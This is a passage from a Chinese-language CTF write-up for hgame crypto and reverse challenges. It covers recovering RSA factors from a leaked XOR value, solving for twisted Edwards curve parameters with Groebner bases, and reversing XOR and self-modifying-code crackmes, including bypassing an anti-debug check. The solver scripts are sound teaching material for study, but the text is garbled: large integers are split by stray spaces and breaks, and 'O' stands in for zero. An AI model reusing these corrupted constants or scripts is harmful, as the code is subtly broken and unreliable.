Crypto

lastRSA

```
from Crypto.Util.number import *
from secret import flag

def encrypt(P,k,leak0):
    round=40
    t=114514
    x= leak0+2*t if k==1 else 2*t*leak0
    enc=2024
    while(round):
        enc+=pow(x,round,P)
        round-=1
    return enc

m=bytes_to_long(flag)
p=getStrongPrime(512)
q=getStrongPrime(512)
assert len(bin(p)[2:])==512 and len(bin(q)[2:])==512
e=0x10001
leak0=p^(q>>13)
n=p*q
enc1=encrypt(n,1,leak0)
enc2=encrypt(n,0,leak0)
c=pow(m,e,n)

print(f"enc1={enc1}")
print(f"enc2={enc2}")
print(f"c={c}")
print(f"n={n}")

"""
enc1=248199898147815216916437867419491111147566873449691473168220417287304527388
923285626614023651823131424718937170920425306655265032396453411775042806848881624421880445639961148118433025890674948483144534835017266646873879076681509930956549438494582679603418283750595358066053080923434134061836500320356263972102 4
enc2=289241348648731716890953208720321327945122567627851449945227988744909619043683462711916115543701215302549379743782203963724877394109761980647109106609450018221998274257413181637199918385993923160166717138668648063968217979427174386361749475952642808052769853912155558379711604910391857808701486059724069029939 4
c=870777598780602252870521069380976221588961062787568527785716844297674577611484743699738822788473077696902070295955579152480448236598127475679064594177335534205210477676974021351155306605377699918938328797218280347945609216466914174296909201995378464263969189325336491322606059858485845451122326704511690405 92
n=136159501395608246592433283541763642196295827652290287729738751327141687762873360488671062583851846628664067117347340297084457474032286451582225574885517757497232577841944028986878525656103449482492190400477852995620473233002547925192690737520592206832895895025277841872025718478827192193010765543046480481871
"""
```

直接用encrypt放进表达式里sage会卡住，不知道什么情况，只能先把表达式列出来

```
x2=var('x2')
enc=2024
round=40
while(round):
    enc+=pow(x2,round)
    round-=1
print(enc)
```

然后用flanklin去求

```
from Crypto.Util.number import *
enc1=248199898147815216916437867419491111147566873449691473168220417287304527388
923285626614023651823131424718937170920425306655265032396453411775042806848881624
442188044563996114811843302589067494848314453483501726664687387907668150993095654
949438494582679603418283750595358066053080923434134061836500320356263972102 4
enc2=289241348648731716890953208720321327945122567627851449945227988744909619043
683462711916115543701215302549379743782203963724877394109761980647109106609450018
822199827425741318163719991838599392316016671713866864806396821797942717438636174
947595264280805276985391215555837971160491039185780870148605972406902993 94
c=870777598780602252870521069380976221588961062787568527785716844297674577611484
743699738822788473077696902070295955579152480448236598127475679064594177335534205
210477676974021351155306605377699918938328797218280347945609216466914174296909 2
019953784642639691893253364913226060598584858454511223267045116904059 2
n=136159501395608246592433283541763642196295827652290287729738751327141687762873
360488671062583851846628664067117347340297084457474032286451582225574885517757 49
723257784194402898687852565610344948249219040047785299562047323300254792519269 07
375205922068328958950252778418720257184788271921930107655430464804818 71
# def encrypt(P,k,leak0):
#     round=40
#     t=114514
#     x= leak0+2*t if k==1 else 2*t*leak0
#     enc=2024
#     while(round):
#         enc+=pow(x,round,P)
#         round-=1
#     return enc

def attack(c1, c2, n):
    PR.<x>=PolynomialRing(Zmod(n))
    t=114514
    x1=leak0+2*t
    x2=2*t*leak0
    # replace a,b,c,d
    g1=x1^40 + x1^39 + x1^38 + x1^37 + x1^36 + x1^35 + x1^34 + x1^33 + x1^32 +
x1^31 + x1^30 + x1^29 + x1^28 + x1^27 + x1^26 + x1^25 + x1^24 + x1^23 + x1^22 +
x1^21 + x1^20 + x1^19 + x1^18 + x1^17 + x1^16 + x1^15 + x1^14 + x1^13 + x1^12 +
x1^11 + x1^10 + x1^9 + x1^8 + x1^7 + x1^6 + x1^5 + x1^4 + x1^3 + x1^2 + x1 +
2024-c1
    g2=x2^40 + x2^39 + x2^38 + x2^37 + x2^36 + x2^35 + x2^34 + x2^33 + x2^32 +
x2^31 + x2^30 + x2^29 + x2^28 + x2^27 + x2^26 + x2^25 + x2^24 + x2^23 + x2^22 +
x2^21 + x2^20 + x2^19 + x2^18 + x2^17 + x2^16 + x2^15 + x2^14 + x2^13 + x2^12 +
x2^11 + x2^10 + x2^9 + x2^8 + x2^7 + x2^6 + x2^5 + x2^4 + x2^3 + x2^2 + x2 +
2024-c2
```

```
    def gcd(g1, g2):
        while g2:
            g1, g2 = g2, g1 % g2
        return g1.monic()
    return -gcd(g1, g2)[0]
m1 = attack(enc1, enc2, n)
print(m1)
```

```
131684520150783898076817440777010126831887499532802043245704833619635412987047963897571901805498027712658990203014167296066586673510171167213273162723735840479638975719018054980277126589902030141672960665866735101711672132731627237358
```

然后来一波深搜

```
import sys
import gmpy2
from Crypto.Util.number import *
from tqdm import *
sys.setrecursionlimit(5000)

N=136159501395608246592433283541763642196295827652290287729738751327141687762873360488671062583851846628664067117347340297084457474032286451582225574885517757497232577841944028986878525656103449482492190400477852995620473233002547925192690737520592206832895895025277841872025718478827192193010765543046480481871
gift=131684520150783898076817440777010126831887499532802043245704833619635412987047963897571901805498027712658990203014167296066586673510171167213273162723735840

def findp(p, q):
    if len(p) == 512:
        pp = int(p, 2)
        if N % pp == 0:
            print(pp)
            print(N // pp)
    else:
        l = len(p)
        pp = int(p, 2)
        qq = int(q, 2)
        if (pp ^ (qq >> 13)) % (2 ** l) == gift % (2 ** l) and pp * qq % (2 ** l) == N % (2 ** l):
            findp('1' + p, '1' + q)
            findp('1' + p, '0' + q)
            findp('0' + p, '1' + q)
            findp('0' + p, '0' + q)


for q_low in trange(2 ** 14):#q低位暴力求解，16位消失了，所以要从16位以上开始
    findp('1', bin(q_low)[2:])
```

```
 87%|████████▋  | 14228/16384 [00:20<00:03,
583.73it/s]131672448823046932777857205674939966100669182563696825944824169133620
697047268311092043711009701548663964623157306878414309229162194166279408663834131
92931
103407738378581696614743230290123843773943918823325606069524948994632845962099320
897935760414920396419193317652219840855493860709775068940687177655689207410
131672448823046932777857205674939966100669182563696825944824169133620697047268311
092043711009701548663964623157306878414309229162194166279408663834131929310
103407738378581696614743230290123843773943918823325606069524948994632845962099320
897935760414920396419193317652219840855493860709775068940687177655689207410
100%|██████████| 16384/16384 [00:27<00:00, 599.27it/s]
```

然后正常解flag

```
from Crypto.Util.number import *
from gmpy2 import *
N=136159501395608246592433283541763642196295827652290287729738751327141687762873
360488671062583851846628664067117347340297084457474032286451582225574885517757497
232577841944028986878525656103449482492190400477852995620473233002547925192690737
5205922068328958950252778418720257184788271921930107655430464804818710
p=131672448823046932777857205674939966100669182563696825944824169133620697047268
311092043711009701548663964623157306878414309229162194166279408663834131929310
q=103407738378581696614743230290123843773943918823325606069524948994632845962099
320897935760414920396419193317652219840855493860709775068940687177655689207410
c=870777598780602252870521069380976221588961062787568527785716844297674577611484
743699738822788473077696902070295955579152480448236598127475679064594177335534205
210477676974021351155306605377699918938328797218280347945609216466914174296909201
995378464263969189325336491322606059858485845451122326704511690405920

print(p*q==N)
d=invert(0x10001,(p-1)*(q-1))
m=pow(c,d,N)
print(long_to_bytes(m))
```

```
True
b'hgame{GrObn3r_ba3ic_Often_wOrk3_wOnd3rs}'
```

transformation

```
#!/usr/bin/env python
# coding: utf-8



from Crypto.Util.number import *
from secret import Curve,gx,gy

# flag = "hgame{" + hex(gx+gy)[2:] + "}"

def ison(C, P):
    c, d, p = C
    u, v = P
    return (u**2 + v**2 - c**2 * (1 + d * u**2*v**2)) % p == 0
```

```
def add(C, P, Q):
    c, d, p = C
    u1, v1 = P
    u2, v2 = Q
    assert ison(C, P) and ison(C, Q)
    u3 = (u1 * v2 + v1 * u2) * inverse(c * (1 + d * u1 * u2 * v1 * v2), p) % p
    v3 = (v1 * v2 - u1 * u2) * inverse(c * (1 - d * u1 * u2 * v1 * v2), p) % p
    return (int(u3), int(v3))

def mul(C, P, m):
    assert ison(C, P)
    c, d, p = C
    B = bin(m)[2:]
    l = len(B)
    u, v = P
    PP = (-u, v)
    O = add(C, P, PP)
    Q = O
    if m == 0:
        return O
    elif m == 1:
        return P
    else:
        for _ in range(l-1):
            P = add(C, P, P)
        m = m - 2**(l-1)
        Q, P = P, (u, v)
        return add(C, Q, mul(C, P, m))

c, d, p = Curve

G = (gx, gy)
P = (42332306472699723064083435289249906762899984 6,
44150133418579337991209313731867512059107422186218072084511769232282794765835)
Q = (10334337587809863787187849356331687866547351 70,
28905738331214955345976890712805471537738781484991878400225240106368524996 84)
S = (87577216678324150396284801533603789199360582 3,
51964088188556618695192753554835667051669568193048726314346516461990381874317)
T = (61240324110757574158739099677314553791508813 3,
64560350111660175566171189050923672010957086249856725096266944042789987443125)
assert ison(Curve, P) and ison(Curve, Q) and ison(Curve, G)
e = 0x10001
print(f"eG = {mul(Curve, G, e)}")

# eG =
(40198712137747628410430624618331426343875490261805137714686326678112749070113,
65008030741966083441937593781739493959677657609550411222052299176801418887407)
```

一眼就是个扭曲的爱德华曲线，直接groebner_basis求参数

```
from Crypto.Util.number import *
from gmpy2 import *
```

```
u0,v0=(42332306472699723064083435289249906762899846,
44150133418579337991209313731867512059107422186218072084511769232282794765835)
u1,v1=(10334337587809863787187849356331687866547351 70,
28905738331214955345976890712805471537738781484991878400225240106368524996 84)
u2,v2=(87577216678324150396284801533603789199360582 3,
51964088188556618695192753554835667051669568193048726314346516461990381874317)
u3,v3=(61240324110757574158739099677314553791508813 3,
64560350111660175566171189050923672010957086249856725096266944042789987443125)

PR.<c,d> = PolynomialRing(ZZ)
f1=u0^2+v0^2-c^2*(1+d*u0^2*v0^2)
f2=u1^2+v1^2-c^2*(1+d*u1^2*v1^2)
f3=u2^2+v2^2-c^2*(1+d*u2^2*v2^2)
f4=u3^2+v3^2-c^2*(1+d*u3^2*v3^2)
Fs=[f1,f2,f3,f4]
I = Ideal(Fs)
B = I.groebner_basis()
print(B)
p=67943764351073247630101943221474884302015437788242536572067548198498727238923
d=-59163782230252684822841652225303740075401079121772957375715728037523200623623
%p
c2=-55035035862773596757724513019504552123843780200057245245581766079309471393995
%p
print('c2=',c2)
print('d=',d)
F=GF(p)
c=F(c2).sqrt()
print('c=',c)
```

```
[c^2 +
55035035862773596757724513019504552123843780200057245245581766079309471393995, d
+ 59163782230252684822841652225303740075401079121772957375715728037523200623623,
67943764351073247630101943221474884302015437788242536572067548198498727238923]
c2=
12908728488299650872377430201970332178171657588185291326485782119189255844928
d= 87799821208205628072602909961711442266143586664695791963518201609755266153 00
c= 71438996981094282828705393645819685797530421299457866272923431747592972010 80
```

代入验证下：

```
p=67943764351073247630101943221474884302015437788242536572067548198498727238923
PR.<c>=PolynomialRing(Zmod(p))
f=c^2-
12908728488299650872377430201970332178171657588185291326485782119189255844928
print(f.roots())
from Crypto.Util.number import *
from gmpy2 import *
u0,v0=(42332306472699723064083435289249906762899846,
44150133418579337991209313731867512059107422186218072084511769232282794765835)
u1,v1=(10334337587809863787187849356331687866547351 70,
28905738331214955345976890712805471537738781484991878400225240106368524996 84)
u2,v2=(87577216678324150396284801533603789199360582 3,
51964088188556618695192753554835667051669568193048726314346516461990381874317)
```

```
u3,v3=(612403241107575741587390996773145537915088133,
645603501116601755661711890509236720109570862498567250962669440427899874431 25)
d= 87799821208205628072602909961711442266143586664695791963518201609755266153 00
c= 71438996981094282828705393645819685797530421299457866272923431747592972010 80
print((u0^2+v0^2-c^2*(1+d*u0^2*v0^2))%p)
print((u1^2+v1^2-c^2*(1+d*u1^2*v1^2))%p)
print((u2^2+v2^2-c^2*(1+d*u2^2*v2^2))%p)
print((u3^2+v3^2-c^2*(1+d*u3^2*v3^2))%p)
```

```
[(607998646529638193472314038568929157222623956582967499447752050237394300378 43,
1),
(714389969810942828287053936458196857975304212994578662729234317475929720108 0,
1)]
0
0
0
0
```

exp:别忘了最后要转回twist

```
from Crypto.Util.number import *
p =
679437643510732476301019432214748843020154377882425365720675481984987272389 23
a = 1
c=607998646529638193472314038568929157222623956582967499447752050237394300378 43
d=877998212082056280726029099617114422661435866646957919635182016097552661530 0
P.<z> = PolynomialRing(Zmod(p))

aa = a
dd = (d*c^4)%p
J = (2*(aa+dd)*inverse(aa-dd,p))%p
K = (4*inverse(aa-dd,p))%p
A = ((3-J^2)*inverse(3*K^2,p))%p
B = ((2*J^3-9*J)*inverse(27*K^3,p))%p

for i in  P(z^3+A*z+B).roots():
    alpha = int(i[0])
    print(kronecker(3*alpha^2+A,p))
    for j in P(z^2-(3*alpha^2+A)).roots():
        s = int(j[0])
        s = inverse_mod(s, p)
        if J==alpha*3*s%p:
            Alpha = alpha
            S = s
def twist_to_weier(x,y):
    v = x*inverse(c,p)%p
    w = y*inverse(c,p)%p
    assert (aa*v^2+w^2)%p==(1+dd*v^2*w^2)%p
    s = (1+w)*inverse_mod(1-w,p)%p
    t = s*inverse(v,p)%p
    assert (K*t^2)%p==(s^3+J*s^2+s)%p
    xW = (3*s+J) * inverse_mod(3*K, p) % p
    yW = t * inverse_mod(K, p) % p
    assert yW^2 % p == (xW^3+A*xW+B) % p
```

```
    return (xW,yW)

def weier_to_twist(x,y):
    xM=S*(x-Alpha)%p
    yM=S*y%p
    assert (K*yM^2)%p==(xM^3+J*xM^2+xM)%p
    xe = xM*inverse_mod(yM,p)%p
    ye = (xM-1)*inverse_mod(xM+1,p)%p
#     assert (aa*xe^2+ye^2)%p==(1+dd*xe^2*ye^2)%p
    xq = xe*c%p
    yq = ye*c%p
#     assert (a*xq^2+yq^2)%p==c^2*(1+d*xq^2*yq^2)
    return (xq,yq)

E = EllipticCurve(GF(p), [A, B])
order=E.order()
eG =
E(twist_to_weier(401987121377476284104306246183314263438754902618051377146863266
78112749070113,
650080307419660834419375937817394939596776576095504112220522991768014188874O7))
e=0x10001
dd=inverse_mod(e,order)
print('dd=',dd)
G=dd*eG
print(G)
GG=weier_to_twist(493382999239001643060561430149925573496424781130763109671052256
37960726019403
,37463951750770303540204880439700727050758750183027787692591571242526173337722  )
print('GG=',GG)
# gg=(GG.xy()[0],GG.xy()[1])
gx=108015228422431730043057325510180512670873897672413385755313651810162731212345
gy=455427128894006245527650692283264323140046652328708654935078016518031204218822
flag = "hgame{" + hex(gx+gy)[2:] + "}"
print(flag)
```

```
1
dd=
65361285491825441660243940252698560442321568362261407196253516088906501088617
(493382999239001643060561430149925573496424781130763109671052256379607260194O3 :
37463951750770303540204880439700727050758750183027787692591571242526173337722 :
1)
GG=
(108015228422431730043057325510180512670873897672413385755313651810162731212345,
455427128894006245527650692283264323140046652328708654935078016518031204218822)
hgame{7c91b51150e2339628f10c5be61d49bbf9471ef00c9b94bb0473feac06303bcc}
```

Reverse

change

IDA打开

```
int __fastcall main(int argc, const char **argv, const char **envp)
```

```
{
  int i; // [rsp+20h] [rbp-B8h]
  int v5; // [rsp+24h] [rbp-B4h]
  __int64 v6; // [rsp+38h] [rbp-A0h]
  char v7[32]; // [rsp+40h] [rbp-98h] BYREF
  char a2[32]; // [rsp+60h] [rbp-78h] BYREF
  char a1[32]; // [rsp+80h] [rbp-58h] BYREF
  char v10[32]; // [rsp+A0h] [rbp-38h] BYREF

  sub_13F3F21E0((__int64)v10, (__int64)"am2qasl");
  v6 = std::shared_ptr<__ExceptionPtr>::operator=(v7, v10);
  sub_13F3F2280(a1, v6);
  sub_13F3F1410(std::cout, "plz input your flag:");
  sub_13F3F10F0(std::cin, input);
  sub_13F3F29A0(a1, a2, (char *)input);
  for ( i = 0; i < 24; ++i )
  {
    v5 = byte_13F3F8000[i];
    if ( v5 != *(char *)shuzu((__int64)a2, i) )
    {
      sub_13F3F1410(std::cout, "sry,try again...");
      std::string::~string(a2);
      sub_13F3F2780((__int64)a1);
      std::string::~string(v10);
      return 0;
    }
  }
  sub_13F3F1410(std::cout, "Congratulations!");
  std::string::~string(a2);
  sub_13F3F2780((__int64)a1);
  std::string::~string(v10);
  return 0;
}

void __fastcall sub_13F3F29A0(char *a1, char *a2, char *a3)
{
  char *v3; // rax
  char v4; // al
  char *v5; // rax
  int i; // [rsp+20h] [rbp-58h]
  unsigned int Duration; // [rsp+28h] [rbp-50h]
  unsigned int v8; // [rsp+30h] [rbp-48h]
  unsigned __int64 v9; // [rsp+48h] [rbp-30h]
  unsigned __int64 v10; // [rsp+58h] [rbp-20h]

  std::shared_ptr<__ExceptionPtr>::operator=(a2, a3);
  for ( i = 0; i < (unsigned __int64)unknown_libname_20(a2); ++i )
  {
    if ( i % 2 )
    {
      sub_13F3F2D20(sub_13F3F3670);
      v10 = unknown_libname_20(a1);
      v8 = *(char *)shuzu((__int64)a1, i % v10);
      v5 = (char *)shuzu((__int64)a2, i);
      beep(*v5, v8);
```

```
    }
    else
    {
      sub_13F3F2D20(::a1);
      v9 = unknown_libname_20(a1);
      Duration = *(char *)shuzu((__int64)a1, i % v9);
      v3 = (char *)shuzu((__int64)a2, i);
      beep(*v3, Duration);
    }
    *(_BYTE *)shuzu((__int64)a2, i) = v4;
  }
}
if ( i % 2 ) 里
sub_13F3F3670就是个异或
else 里
就是个异或a1^a2+10

最后beep的时候会调用到上面这个
```

很简单的我们输入一组值，得到结果，异或下得到了原来的异或值即可

exp:

```
from Crypto.Util.number import *
from gmpy2 import *

a=[0x13, 0x0A, 0x5D, 0x1C, 0x0E, 0x08, 0x66, 0x50, 0x69, 0x01,
  0x4F, 0x54, 0x4F, 0x5B, 0x63, 0x54, 0x0C, 0x10, 0x0D, 0x10,
  0x12, 0x04, 0x15, 0x4F]
b=[0x13, 0x0A, 0x5D, 0x1C, 0x0E, 0x08, 0x23, 0x06, 0x0B, 0x4B,
  0x38, 0x22, 0x0D, 0x1C, 0x48, 0x0C, 0x66, 0x15, 0x48, 0x1B,
  0x0D, 0x0E, 0x10, 0x4F]
flag0=b'hgame{01234567890abcdef}'
flag=[]
for i in range(len(a)):
    if i%2==0:
        flag.append(((b[i]-10)^(flag0[i]^(a[i]-10)))&0xff)
    else:
        flag.append((b[i]  ^ (flag0[i] ^ a[i])) & 0xff)
print(flag)
print(bytes(flag))
```

```
[104, 103, 97, 109, 101, 123, 117, 103, 108, 121, 95, 67, 112, 112, 95, 97, 110,
100, 95, 104, 111, 111, 107, 125]
b'hgame{ugly_Cpp_and_hook}'
```

crackme2

放进ida,F5，如下

```
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  const char *v4; // rcx
```

```
  char v6[72]; // [rsp+30h] [rbp-48h] BYREF

  sub_1400035C4("%50s", v6);
  MEMORY[0] = 1;
  v3 = sub_14000105C(v6);
  v4 = "right flag!";
  if ( !v3 )
    v4 = "wrong flag!";
  puts(v4);
  return 0;
}
```

MEMORY[0] = 1;这个地方触发了错误，会异常，我们把他nop掉

```
.text:00000001400034DE ;   __try { // __except at loc_1400034EB
.text:00000001400034DE                 nop
.text:00000001400034DF                 nop
.text:00000001400034E0                 nop
.text:00000001400034E1                 nop
.text:00000001400034E2                 nop
.text:00000001400034E3                 nop
.text:00000001400034E4                 nop
.text:00000001400034E5                 nop
.text:00000001400034E6                 nop
.text:00000001400034E7                 nop
.text:00000001400034E8                 nop
.text:00000001400034E9                 nop
.text:00000001400034EA                 nop
.text:00000001400034EA ;   } // starts at 1400034DE
.text:00000001400034EB
.text:00000001400034EB loc_1400034EB:                          ; DATA XREF:
.rdata:0000000140005834↓o
.text:00000001400034EB ;   __except(1) // owned by 1400034DE
.text:00000001400034EB                 call    cs:GetCurrentProcess
.text:00000001400034F1                 mov     rcx, rax        ; ProcessHandle
.text:00000001400034F4                 lea     rax, [rsp+78h+arg_10]
.text:00000001400034FC                 mov     [rsp+78h+ReturnLength], rax ;
ReturnLength
.text:0000000140003501                 mov     r9d, 8          ;
ProcessInformationLength
.text:0000000140003507                 lea     r8, [rsp+78h+ProcessInformation]
; ProcessInformation
.text:000000014000350F                 lea     edx, [r9-1]     ;
ProcessInformationClass
.text:0000000140003513                 call    NtQueryInformationProcess
.text:0000000140003518                 cmp     [rsp+78h+ProcessInformation],
0FFFFFFFFFFFFFFFFh
.text:0000000140003521                 jz      short loc_14000359B
.text:0000000140003523                 lea     r9, [rsp+78h+flOldProtect] ;
lpflOldProtect
.text:000000014000352B                 mov     edx, 6000h      ; dwSize
.text:0000000140003530                 mov     r8d, 40h ; '@'  ; flNewProtect
.text:0000000140003536                 lea     rcx, sub_14000105C ; lpAddress
.text:000000014000353D                 call    cs:VirtualProtect
.text:0000000140003543                 xor     r8d, r8d
```

```
.text:0000000140003546                 xor     edx, edx
```

nop掉后再，F5出来了主要逻辑，是个smc

```
int __fastcall main(int argc, const char **argv, const char **envp)
{
  HANDLE CurrentProcess; // rax
  int v4; // r8d
  __int64 v5; // rdx
  int v6; // eax
  const char *v7; // rcx
  char v9[72]; // [rsp+30h] [rbp-48h] BYREF
  DWORD flOldProtect; // [rsp+80h] [rbp+8h] BYREF
  __int64 ProcessInformation; // [rsp+88h] [rbp+10h] BYREF
  ULONG ReturnLength; // [rsp+90h] [rbp+18h] BYREF

  sub_1400035C4("%50s", v9);
  CurrentProcess = GetCurrentProcess();
  NtQueryInformationProcess(CurrentProcess, ProcessDebugPort,
&ProcessInformation, 8u, &ReturnLength);
  if ( ProcessInformation != -1 )
  {
    VirtualProtect(sub_14000105C, 0x6000ui64, 0x40u, &flOldProtect);
    v4 = 0;
    v5 = 0i64;
    do
    {
      *((_BYTE *)sub_14000105C + v5) ^= byte_140006000[v5];
      ++v4;
      ++v5;
    }
    while ( (unsigned __int64)v4 < 0x246A );
    VirtualProtect(sub_14000105C, 0x6000ui64, flOldProtect, &flOldProtect);
  }
  v6 = sub_14000105C(v9);
  v7 = "right flag!";
  if ( !v6 )
    v7 = "wrong flag!";
  puts(v7);
  return 0;
}
```

明显就是个smc,写个脚本patch下

```
def smc(addr,length,addr2):
    for i in range(length):
        bt=get_wide_byte(addr+i)
        bt2=get_wide_byte(addr2+i)
        bt^=bt2
        patch_byte(addr+i,bt)
    print('done')
smc(0x14000105C,0x246A,0x140006000)
```

然后按c重建下函数

```
_BOOL8 __fastcall sub_14000105C(unsigned __int8 *a1)
{
  int v1; // r11d
  int v2; // ebx
  int v3; // r15d
  int v4; // r9d
  int v5; // edi
  int v6; // r10d
  int v7; // ebp
  int v8; // esi
  int v9; // r14d
  int v10; // r12d
  int v11; // r13d
  int v12; // ecx
  int v13; // r8d
  int v15; // [rsp+0h] [rbp-118h]
  int v16; // [rsp+4h] [rbp-114h]
  int v17; // [rsp+8h] [rbp-110h]
  int v18; // [rsp+Ch] [rbp-10Ch]
  int v19; // [rsp+10h] [rbp-108h]
  int v20; // [rsp+14h] [rbp-104h]
  int v21; // [rsp+18h] [rbp-100h]
  int v22; // [rsp+1Ch] [rbp-FCh]
  int v23; // [rsp+20h] [rbp-F8h]
  int v24; // [rsp+24h] [rbp-F4h]
  int v25; // [rsp+28h] [rbp-F0h]
  int v26; // [rsp+2Ch] [rbp-ECh]
  int v27; // [rsp+30h] [rbp-E8h]
  int v28; // [rsp+34h] [rbp-E4h]
  int v29; // [rsp+38h] [rbp-E0h]
  int v30; // [rsp+3Ch] [rbp-DCh]
  int v31; // [rsp+40h] [rbp-D8h]
  int v32; // [rsp+48h] [rbp-D0h]
  int v33; // [rsp+4Ch] [rbp-CCh]
  int v34; // [rsp+50h] [rbp-C8h]
  int v35; // [rsp+54h] [rbp-C4h]
  int v36; // [rsp+78h] [rbp-A0h]
  int v37; // [rsp+90h] [rbp-88h]
  int v38; // [rsp+9Ch] [rbp-7Ch]
  int v39; // [rsp+120h] [rbp+8h]
  int v40; // [rsp+128h] [rbp+10h]
  int v41; // [rsp+130h] [rbp+18h]
  int v42; // [rsp+138h] [rbp+20h]

  v1 = a1[25];
  v2 = a1[21];
  v3 = a1[31];
  v4 = a1[29];
  v5 = *a1;
  v6 = a1[23];
  v7 = a1[8];
  v8 = a1[28];
  v9 = a1[12];
  v10 = a1[3];
  v11 = a1[2];
```

```
v19 = a1[30];
v15 = a1[18];
v16 = a1[24];
v27 = a1[11];
v17 = a1[26];
v30 = a1[14];
v40 = a1[7];
v26 = a1[20];
v37 = 2 * v26;
v42 = a1[22];
v28 = a1[1];
v25 = a1[27];
v21 = a1[19];
v23 = a1[16];
v31 = a1[13];
v29 = a1[10];
v41 = a1[5];
v24 = a1[4];
v20 = a1[15];
v39 = a1[17];
v22 = a1[6];
v18 = a1[9];
if ( v18
   + 201 * v24
   + 194 * v10
   + 142 * v20
   + 114 * v39
   + 103 * v11
   + 52 * (v17 + v31)
   + ((v9 + v23) << 6)
   + 14 * (v21 + 4 * v25 + v25)
   + 9 * (v40 + 23 * v27 + v2 + 3 * v1 + 4 * v2 + 4 * v6)
   + 5 * (v16 + 23 * v30 + 2 * (v3 + 2 * v19) + 5 * v5 + 39 * v15 + 51 * v4)
   + 24 * (v8 + 10 * v28 + 4 * (v42 + v7 + 2 * v26))
   + 62 * v22
   + 211 * v41
   + 212 * v29 != 296473 )
  return 0i64;
v38 = 2 * v16;
if ( 207 * v41
   + 195 * v22
   + 151 * v40
   + 57 * v5
   + 118 * v6
   + 222 * v42
   + 103 * v7
   + 181 * v8
   + 229 * v9
   + 142 * v31
   + 51 * v29
   + 122 * (v26 + v20)
   + 91 * (v2 + 2 * v16)
   + 107 * (v27 + v25)
   + 81 * (v17 + 2 * v18 + v18)
   + 45 * (v19 + 2 * (v11 + v24) + v11 + v24)
```

```
     + 4 * (3 * (v23 + a1[19] + 2 * v23 + 5 * v4) + v39 + 29 * (v10 + v1) + 25 *
v15)
     + 26 * v28
     + 101 * v30
     + 154 * v3 != 354358 )
    return 0i64;
  if ( 177 * v40
     + 129 * v26
     + 117 * v42
     + 143 * v28
     + 65 * v8
     + 137 * v25
     + 215 * v21
     + 93 * v31
     + 235 * v39
     + 203 * v11
     + 15 * (v7 + 17 * v30)
     + 2
     * (v24
      + 91 * v9
      + 95 * v29
      + 51 * v41
      + 81 * v20
      + 92 * v18
      + 112 * (v10 + v6)
      + 32 * (v22 + 2 * (v1 + v23))
      + 6 * (v2 + 14 * v16 + 19 * v15)
      + 83 * v5
      + 53 * v4
      + 123 * v19)
     + v17
     + 175 * v27
     + 183 * v3 == 448573
    && 113 * v19
     + 74 * v3
     + 238 * v6
     + 140 * v2
     + 214 * v26
     + 242 * v8
     + 160 * v21
     + 136 * v23
     + 209 * v9
     + 220 * v31
     + 50 * v24
     + 125 * v10
     + 175 * v20
     + 23 * v39
     + 137 * v22
     + 149 * v18
     + 83 * (v4 + 2 * v30)
     + 21 * (9 * v29 + v16)
     + 59 * (4 * v27 + v17)
     + 41 * (v1 + v41)
     + 13 * (v7 + 11 * (v40 + v15) + 6 * v42 + 4 * (v28 + 2 * v11) + v28 + 2 *
v11 + 17 * v5)
```

```
      + 36 * v25 == 384306
     && 229 * v21
      + 78 * v1
      + v2
      + v9
      + 133 * v27
      + 74 * v6
      + 69 * v26
      + 243 * v7
      + 98 * v28
      + 253 * v8
      + 142 * v25
      + 175 * v31
      + 105 * v41
      + 221 * v10
      + 121 * v39
      + 218 * (v19 + v29)
      + 199 * (v24 + v30)
      + 33 * (v40 + 7 * v17)
      + 4 * (27 * v20 + 50 * v11 + 45 * v18 + 19 * (v3 + v42) + v16 + 16 * v23 +
52 * v4)
      + 195 * v22
      + 211 * v5
      + 153 * v15 == 424240
     && 181 * v25
      + 61 * v2
      + 65 * v21
      + 58 * v31
      + 170 * v29
      + 143 * v24
      + 185 * v10
      + 86 * v11
      + 97 * v22
      + 235 * (v23 + v27)
      + 3
      * (53 * v41
       + 74 * (v8 + v3)
       + 13 * (v42 + 6 * v9)
       + 11 * (v39 + 7 * v20)
       + 15 * (v18 + 4 * v17)
       + v7
       + 35 * v1
       + 29 * v15)
      + 4 * (57 * v6 + 18 * (v5 + v37) + v28 + 17 * v16 + 55 * v30)
      + 151 * v40
      + 230 * v4
      + 197 * v19 == 421974
     && (v33 = 2 * v41,
         209 * v21
       + 249 * v30
       + 195 * v2
       + 219 * v25
       + 201 * v39
       + 85 * v18
       + 213 * (v17 + v31)
```

```
      + 119 * (v11 + 2 * v41)
      + 29 * (8 * v24 + v40 + 4 * v27 + v27)
      + 2
      * (v8
       + 55 * (2 * v29 + v19)
       + 3 * (v10 + 39 * v9 + 2 * (v6 + 20 * v20) + 35 * v7)
       + 4 * (v5 + 31 * v42 + 28 * v3)
       + 26 * v28
       + 46 * (v37 + v16)
       + 98 * v1)
      + 53 * v23
      + 171 * v15
      + 123 * v4 == 442074)
    && (v32 = 2 * v18,
        162 * v19
      + 74 * v5
      + 28 * v27
      + 243 * v42
      + 123 * v28
      + 73 * v8
      + 166 * v23
      + 94 * v24
      + 113 * v11
      + 193 * v22
      + 122 * (v6 + 2 * v7)
      + 211 * (v10 + v25)
      + 21 * (v17 + 7 * v41)
      + 11 * (v4 + 23 * (v16 + v39) + 2 * (v40 + 5 * v30 + 2 * (2 * v18 + v29) +
2 * v18 + v29))
      + 5 * (46 * v9 + 26 * v20 + 4 * (v31 + 2 * v21) + v15 + 27 * v2 + 10 * v1)
      + 36 * (v3 + 5 * v26) == 376007)
    && (v35 = v25 + v30,
        63 * v19
      + 143 * v5
      + 250 * v6
      + 136 * v2
      + 214 * v40
      + 62 * v26
      + 221 * v42
      + 226 * v7
      + 171 * v28
      + 178 * v8
      + 244 * v23
      + (v9 << 7)
      + 150 * v31
      + 109 * v29
      + 70 * v41
      + 127 * v20
      + 204 * v39
      + 121 * v22
      + 173 * v18
      + 69 * (v25 + v30 + v27)
      + 74 * (v16 + 2 * v15 + v15)
      + 22 * (7 * v24 + v17 + 10 * v11)
      + 40 * (v1 + 4 * v21 + v21)
```

```
      + 81 * v10
      + 94 * v4
      + 84 * v3 == 411252)
    && 229 * v15
     + 121 * v4
     + 28 * v30
     + 206 * v16
     + 145 * v27
     + 41 * v1
     + 247 * v6
     + 118 * v26
     + 241 * v28
     + 79 * v8
     + 102 * v25
     + 124 * v23
     + 65 * v9
     + 68 * v31
     + 239 * v17
     + 148 * v24
     + 245 * v39
     + 115 * v11
     + 163 * v22
     + 137 * v18
     + 53 * (v5 + 2 * v29)
     + 126 * (v40 + 2 * v10)
